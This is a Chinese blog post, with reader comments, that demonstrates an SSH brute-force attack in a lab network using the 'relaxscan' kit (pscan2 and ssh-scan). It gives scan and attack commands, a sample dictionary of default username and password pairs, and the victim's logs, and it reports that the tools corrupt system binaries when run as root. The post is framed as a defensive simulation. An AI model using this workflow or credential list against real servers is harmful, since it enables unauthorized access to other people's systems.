您的位置:首页 > 其它

示使用relaxscan暴力破解SSH

2012-04-17 16:44 489 查看
由于安全意识不足,导致机器被入侵的例子多不胜数。最近不断接到有服务器被入侵,执行文件被修改的报障。原因大多都是因为开放了SSH服务,同时允许root访问,密码又过于简单的情况。为提出更有效的防范办法,决定做个攻击模拟。以下使用的工具是relaxsan,从网上可以很方便的找到,为免影响不好,我这里就不提供了,仅做个攻击演示。

一、获取工具

首先,我不知道为什么叫relaxscan,这东西是从Google搜的,来源自chinaunix某个博客中,某被入侵所提取的代码。

里面包括pscan2和ssh-scan这两个关键程序,及一些必须的文件:

引用
pscan2 端口扫描工具,可对指定的网段中的IP,进行特定端口的扫描,找到满足要求的服务器后,会这些服务器IP记录到文件中;

ssh-scan 对指定的服务器进行暴力破解,其需要以下几个文件:

mft.txt 攻击的服务器IP列表,可由pscan2获得,每个IP一行;

pass_file 攻击用字典文件,每行由用户名+空格+密码组成,由ssh-scan自行调用,用于尝试进入ssh访问;

vuln.txt 成功入侵目标主机后的记录文件,会标注那些机器通过什么用户名和密码可以进入。

二、攻击演示

1、演示服务器


引用
hacker:10.10.10.1/24 → 作为攻击端

target:10.10.10.10/24 →作为被攻击目标

2、创建一个普通用户

这步很重要,虽然没有pscan2的源码,但基本可以肯定的是,pscan2本身具有木马的特性。千万不要以root用户执行pscan2,记住!(网上有似乎有该程序的源码,但我不能肯定是否一样,但在后面的补充内容中,我会做个简单的测试,以说明这问题。)

# useradd test

# passwd test

3、扫描特定网段

切换到test用户,把relaxscan解压出来,给pscan2 赋予可执行权限:

引用
# su - test

$ id

uid=512(test) gid=512(test) groups=512(test)

$ cd relaxscan/

$ chmod +x pscan2

pscan2 的用法:

引用
$ ./pscan2

Usage: ./pscan2 [c-block]

第一个参数是给出扫描的网段,必须是B类型的;

第二个参数是扫描的端口;

第三个参数是可选的,可进一步限制上面B类型网段中的C 段范围;

扫描10.10.10 网段:

引用
$ ./pscan2 10.10 22 10

# scanning:

# pscan completed in 3 seconds. (found 2 ips)

$ cat 10.10.10.pscan.22

10.10.10.1

10.10.10.10

可见,找到该网段中有两个IP打开了SSH服务。

4、攻击特定IP的SSH服务

既然找到已打开SSH服务的机器IP,那就可以用ssh-scan 进行暴力破解了。破解的关键是字典文件pass_file ,该文件决定了攻击时间的长短和成功率。可以从网上获取一堆的字典,下面是我模拟的几个用户名和密码:

引用
$ cat pass_file

upload upload

root q1w2e3r4

root qwer1234

root qwer0987

root poiu7890

oracle oracle

ftp ftp

apache apache

nagios nagios

nginx nginx

lighttpd lighttpd

mysql mysql

postfix postfix

※ 千万不要忽视普通用户的登录,普通用户可通过一些root exploit 漏洞提升到root权限,届时,与通过root访问也没什么差别。

把上面通过pscan2得到的IP地址段,转存为mfu.txt文件,然后开始攻击:

引用
$ grep -v -w '10.10.10.1' 10.10.10.pscan.22 > mfu.txt

$ ./ssh-scan 100

Toata dragostea mea pentru diavola!!!!!!

在被攻击端的安全日志中,会显示大量的尝试记录,类似:

引用
Jul 8 12:00:33 asianux3 sshd[2488]: Invalid user upload from 10.10.10.1

Jul 8 12:00:33 asianux3 sshd[2489]: input_userauth_request: invalid user upload

Jul 8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): check pass; user unknown

Jul 8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.10.1

Jul 8 12:00:33 asianux3 sshd[2488]: pam_succeed_if(sshd:auth): error retrieving information about user upload

Jul 8 12:00:36 asianux3 sshd[2488]: Failed password for invalid user upload from 10.10.10.1 port 2000 ssh2

Jul 8 12:00:36 asianux3 sshd[2489]: Received disconnect from 10.10.10.1: 11: Bye Bye

......

Jul 8 12:00:44 asianux3 sshd[2499]: Accepted password for oracle from 10.10.10.1 port 2005 ssh2

Jul 8 12:00:44 asianux3 sshd[2499]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

攻击的密度与您给ssh-scan提供的参数有关,参数越大,尝试越频繁。从上面的日志可看到,oracle用户尝试登录成功了。

在攻击端也会显示信息:

引用
$ L-amPrins... !! ->oracle:oracle:10.10.10.10

并记录在vuln.txt 文件中:

引用
$ cat vuln.txt

oracle:oracle:10.10.10.10

至此,攻击算是完成了。后续的,就是用该用户登录ssh,然后尝试exploit 到root等操作,这里不再叙述。

三、破坏系统可执行文件

本来,我是希望通过这次的模拟,产生类似下面的病毒文件:





可惜没效果。但通过实验,发现pscan2和ssh-scan 确实是有问题的。

1、原系统执行文件信息

找几个系统执行文件的当前信息:

引用
# ll /bin/{more,cat,umount,cp,mv}

-rwxr-xr-x 1 root root 25216 2010-03-02 /bin/cat

-rwxr-xr-x 1 root root 70632 2010-03-02 /bin/cp

-rwxr-xr-x 1 root root 35880 2010-03-25 /bin/more

-rwxr-xr-x 1 root root 78680 2010-03-02 /bin/mv

-rwsr-xr-x 1 root root 40432 2010-03-25 /bin/umount

2、以root权限运行pscan2或ssh-scan

结果,系统中的一些执行文件被修改:

引用
# ll /bin/{more,cat,umount,cp,mv}

-rwxr-xr-x 1 root root 33408 07-08 12:34 /bin/cat

-rwxr-xr-x 1 root root 78824 07-08 12:34 /bin/cp

-rwxr-xr-x 1 root root 44072 07-08 12:34 /bin/more

-rwxr-xr-x 1 root root 86872 07-08 12:34 /bin/mv

-rwsr-xr-x 1 root root 48624 07-08 12:34 /bin/umount

这些文件都被加了8192字节(某些文件会加16384字节),导致这些文件损坏了:

引用
# cp

-bash: /bin/cp: cannot execute binary file

# mv

-bash: /bin/mv: cannot execute binary file

# umount

-bash: /bin/umount: cannot execute binary file

表现形式很像木马程序。而且这些都是基本的执行文件,结果就是系统异常,修复也很困难。幸亏没感染能力,不会大规模传播。

一般可通过rpm -Va 找出被破坏的文件,然后重新安装对应的rpm包。但手续复杂,而且不能确保修复完整。

所以,尝试relaxscan前,请务必小心哦!

相关日志

[原]使用DenyHosts 阻止SSH暴力破解

百度域名疑被伊朗黑客劫持

[原]Subversion 安全点滴

[原]让apache可执行远程需root权限的命令

Tags:
hack ,
ssh

rem1x
2011/07/11 14:55

ssh密钥配置的学习成本几乎为0啊,客户有时候是最大的障碍

linuxing 回复于 2011/07/14 12:31
习惯和意识问题。

shom
2011/07/08 16:03

其实最安全最简单的方法就是使用RSA密钥,关闭密码及ROOT远程登陆。另外看你之前使用denyhosts阻止SSH被暴,其实还有另外一个选择fail2ban,它有更多服务保护,比如vsftp,dns...

linuxing 回复于 2011/07/11 11:51
嗯,完全同意,我自己管理的机器就是禁止密码,使用密钥登录的。但很多客户是不习惯用密钥,还是喜欢用密码的,这个强迫不了。有空我也试试fali2ban,^_^
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: